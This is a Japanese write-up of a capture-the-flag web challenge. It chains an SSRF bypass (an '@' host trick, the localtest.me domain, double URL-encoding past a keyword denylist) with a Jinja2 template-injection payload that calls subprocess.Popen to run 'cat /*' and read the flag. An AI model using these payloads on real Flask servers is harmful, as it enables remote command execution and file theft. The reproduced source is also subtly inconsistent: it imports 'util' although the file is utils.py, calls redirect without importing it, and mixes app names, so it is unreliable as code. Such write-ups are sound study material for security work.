TCP1PCTF 2024 Web 課題 Hacked における SSRF と SSTI 連鎖エクスプロイト

概要

本課題は Flask フレームワークを用いた Web アプリケーションに対するセキュリティチャレンジです。主な攻略ポイントは、厳格な入力フィルタリングを回避する SSTI(サーバーサイドテンプレートインジェクション)と、localhost 制限を迂回する SSRF(サーバーサイドリクエストフォージェリ)を組み合わせることにあります。

環境構成の分析

まず、コンテナ設定ファイルを確認します。フラグファイルは起動時にランダムな名前に変更され、ルートディレクトリに配置される仕様です。

# Base image configuration
FROM python:3.8-slim

# Flask environment setup
ENV PYTHONDONTWRITEBYTECODE 1
ENV PYTHONUNBUFFERED 1

WORKDIR /app

# Install dependencies
COPY requirements.txt /app/
RUN pip install --no-cache-dir -r requirements.txt

# Randomize flag filename
COPY flag.txt /app/
RUN mv flag.txt /$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 8 | head -n 1).txt

# Deploy application code
COPY application /app/

EXPOSE 1337

# Execute entry point
CMD ["python", "app.py"]

ソースコードレビュー

アプリケーションの主要ロジックは app.pyutils.py に分割されています。

アプリケーションロジック (app.py)

入力検証を行うデコレータと、プロキシ機能および管理ページが定義されています。多数のキーワードがブラックリストとして登録されており、リクエストヘッダー、クエリパラメータ、JSON ボディなどが検査されます。

from flask import Flask, request, Response, abort
from util import verify_local_connection, execute_upstream_request
import random, os

application = Flask(__name__)

# Restricted terms for input validation
denied_patterns = ["debug", "args", "headers", "cookies", "environ", "values", "query",
    "data", "form", "os", "system", "popen", "subprocess", "globals", "locals",
    "self", "lipsum", "cycler", "joiner", "namespace", "init", "join", "decode",
    "module", "config", "builtins", "import", "application", "getitem", "read",
    "mro", "endwith", " ", "'", '"', "_", "{{", "}}", "[", "]", "\\", "x"]

def inspect_incoming_data(handler):
    def wrapper(*args, **kwargs):
        # Check headers
        for header_name, header_val in request.headers.items():
            if any(term in header_val for term in denied_patterns):
                abort(400, f"Blocked term in header: {header_name}")

        # Check query parameters
        for param_key, param_val in request.args.items():
            if any(term in param_val for term in denied_patterns):
                abort(400, f"Blocked term in param: {param_key}")

        # Check body content
        try:
            if request.is_json:
                payload = request.get_json()
                if payload:
                    for k, v in payload.items():
                        if any(term in v for term in denied_patterns):
                            abort(400, f"Blocked term in JSON key: {k}")
            else:
                body_text = request.get_data(as_text=True)
                if any(term in body_text for term in denied_patterns):
                    abort(400, "Blocked term in request body")
        except Exception:
            pass

        return handler(*args, **kwargs)
    return wrapper

@application.route('/', methods=['GET'])
@inspect_incoming_data
def gateway_handler():
    target = request.args.get('url')
    allowed_paths = ['/about/', '/portfolio/']

    if not target:
        path = random.choice(allowed_paths)
        return redirect(f'/?url={path}')
    
    final_url = "http://daffa.info" + target

    if final_url.startswith("http://daffa.info") and any(final_url.endswith(p) for p in allowed_paths):
        resp, hdrs = execute_upstream_request(final_url)
        return Response(resp.content, resp.status_code, hdrs.items())
    else:
        abort(403)

@application.route('/secret', methods=['GET', 'POST'])
@verify_local_connection
def internal_debug_page():
    admin_name = "daffainfo"
    css_path = request.url_root + 'static/css/main.css'

    if request.args.get('admin'):
        admin_name = request.args.get('admin')

    if not admin_name:
        abort(403)

    template_source = '''
        <html>
        <head><link rel="stylesheet" href="{}"></head>
        <body>
            <h1>ADMIN AREA</h1>
            <p>Admin: {}<span id="adminName"></span></p>
        </body>
        </html>'''.format(css_path, admin_name)
    
    from flask import render_template_string
    return render_template_string(template_source)

if __name__ == '__main__':
    application.run(host='0.0.0.0', port=1337)

ユーティリティ機能 (utils.py)

localhost からのアクセスかどうかを検証するデコレータと、URL の安全性を確認する関数が実装されています。

from flask import request, abort
import functools, requests
from urllib.parse import urlparse

BLOCKED_HOSTS = ['localhost', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']

def validate_target_host(url):
    parsed = urlparse(url)
    host = parsed.hostname
    if not host:
        return False
    return not any(blocked in host for blocked in BLOCKED_HOSTS)

def verify_local_connection(func):
    @functools.wraps(func)
    def check_ip(*args, **kwargs):
        if request.remote_addr != '127.0.0.1':
            return abort(403)
        return func(*args, **kwargs)
    return check_ip

def execute_upstream_request(url):
    method = request.method
    headers = {k: v for k, v in request.headers if k.lower() in ['x-csrf-token', 'cookie', 'referer']}
    data = request.get_data()

    resp = requests.request(
        method,
        url,
        headers=headers,
        data=data,
        verify=False,
        allow_redirects=False
    )

    if not validate_target_host(url) or not validate_target_host(resp.url):
        return abort(403)
    
    return resp, headers

脆弱性の特定

/secret エンドポイントにおいて、render_template_string にユーザー入力が渡される構造を確認できます。これは典型的な Jinja2 SSTI の脆弱性です。しかし、verify_local_connection デコレータにより、localhost (127.0.0.1) からのアクセスのみが許可されています。

外部から直接アクセスできないため、SSRF 機能を利用して内部へリクエストを転送する必要があります。

SSRF による localhost 制限の迂回

ルートパス / はユーザー指定の URL へリクエストを転送する機能を持ちますが、以下の制限があります。

  • 入力フィルタ(ブラックリスト)の通過
  • URL プレフィックス http://daffa.info の付与
  • 特定のエンディングパスでの終了
  • ホスト名の安全性チェック(validate_target_host
  • リダイレクト無効

入力フィルタの回避

HTTP ヘッダーを最小限に抑え、ブラックリストに含まれる不要なフィールドを削除することで検査を通過できます。

URL 構造の悪用

URL 構文における @ 記号を利用します。http://user:pass@host の形式では、@ 以降が実際のホストとして解析されます。これを利用し、プレフィックス制限を事実上無効化できます。

GET /?url=@127.0.0.1:1337/secret?admin={{PAYLOAD}}/about/

ホスト名チェックの回避

validate_target_host 関数は数字や 'localhost' をブロックしますが、ドット区切りの文字列は許可されます。www.localtest.me は 127.0.0.1 に解決される公開ドメインであるため、これを利用することで IP アドレス直接指定を回避できます。

GET /?url=@www.localtest.me:1337/secret?admin={{PAYLOAD}}/about/

WAF フィルタの二重エンコード迂回

SSRF 経由でリクエストが転送される際、URL デコードが複数回発生する可能性があります。入力検証は最初のデコード後に行われますが、テンプレートエンジンへの到達前に再度デコードされる場合、フィルタを回避できる場合があります。

例えば、{ は通常 %7b とエンコードされますが、ブラックリストに引っかかる可能性があります。これをさらにエンコードし %257b とすると、最初の検証では %7b として扱われ、通過します。その後、内部処理で再度デコードされ { として解釈されます。

具体的なペイロード構成例:

/?url=%40www.localtest.me:1337/secret?admin=%257b%2525%2570%2572%2569%256e%2574%2528%2528%2529%252e%255f%255f%2563%256c%2561%2573%2573%255f%255f%2529%2525%257d%26aaa=/about/

このリクエストはサーバー内で適切にデコードされ、SSTI ペイロードとして実行されます。

フラグの取得

Python のサブクラス列挙を利用し、subprocess.Popen などを呼び出してコマンドを実行します。ファイル名がランダムであるため、ワイルドカードを使用して全ファイルを読み取ります。

{%print([].__class__.__base__.__subclasses__()[351]('cat /*',shell=True,stdout=-1).communicate()[0].strip())%}

上記ペイロードを二重エンコードして送信することで、以下のフラグを取得できます。

TCP1P{Ch41n1ng_SsRF_pLu5_5St1_ba83f3ff121ba83f3ff121}

タグ: flask SSTI SSRF waf-bypass python-security

7月21日 16:50 投稿